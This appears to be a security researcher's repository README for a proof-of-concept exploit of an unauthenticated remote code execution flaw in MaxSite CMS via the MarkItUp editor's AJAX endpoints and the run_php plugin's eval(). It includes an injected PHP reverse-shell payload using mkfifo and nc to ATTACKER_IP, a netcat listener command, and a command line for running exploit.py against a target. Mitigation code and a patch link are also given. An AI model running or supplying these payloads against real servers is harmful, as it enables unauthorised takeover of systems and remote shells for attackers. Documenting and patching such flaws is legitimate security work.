mbanyamer/cve-2026-3395-maxsite-cms-unauthenticated-rceProof-of-concept exploit for unauthenticated remote code execution in MaxSite CMS <= 109.1 via MarkItUp editor AJAX endpoints, with detection and reverse shell payloads.
Unauthenticated Remote Code Execution (RCE) vulnerability in MaxSite CMS ≤ 109.1.
The flaw arises from weak authorization checks in the MarkItUp editor plugin’s AJAX endpoints, combined with unsafe execution of user‑supplied PHP code by the run_php plugin.
The vulnerability affects the following files in the MarkItUp editor plugin:
preview-ajax.phpautosave-post-ajax.phpThese endpoints:
run_php plugin[php]...[/php] shortcodes using eval()An attacker can send a crafted POST request to the /ajax/ route containing a Base64‑encoded internal path and malicious PHP payload via the data parameter, resulting in:
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]run_php plugin enabled (common default)eval()A Python 3 proof‑of‑concept exploit (exploit.py) is included.
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php plugin if not requiredAdd authentication checks to vulnerable files:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
Patch Commit https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
Vulnerability Entry https://vuldb.com/?id.348281
This project is provided for:
⚠️ Do not use against systems without explicit permission.
The author assumes no responsibility for misuse or damage.
Mohammed Idrees Banyamer Jordan 🇯🇴 Security Researcher
banyamer_security — Silent Hunter • Shadow Presence
March 2026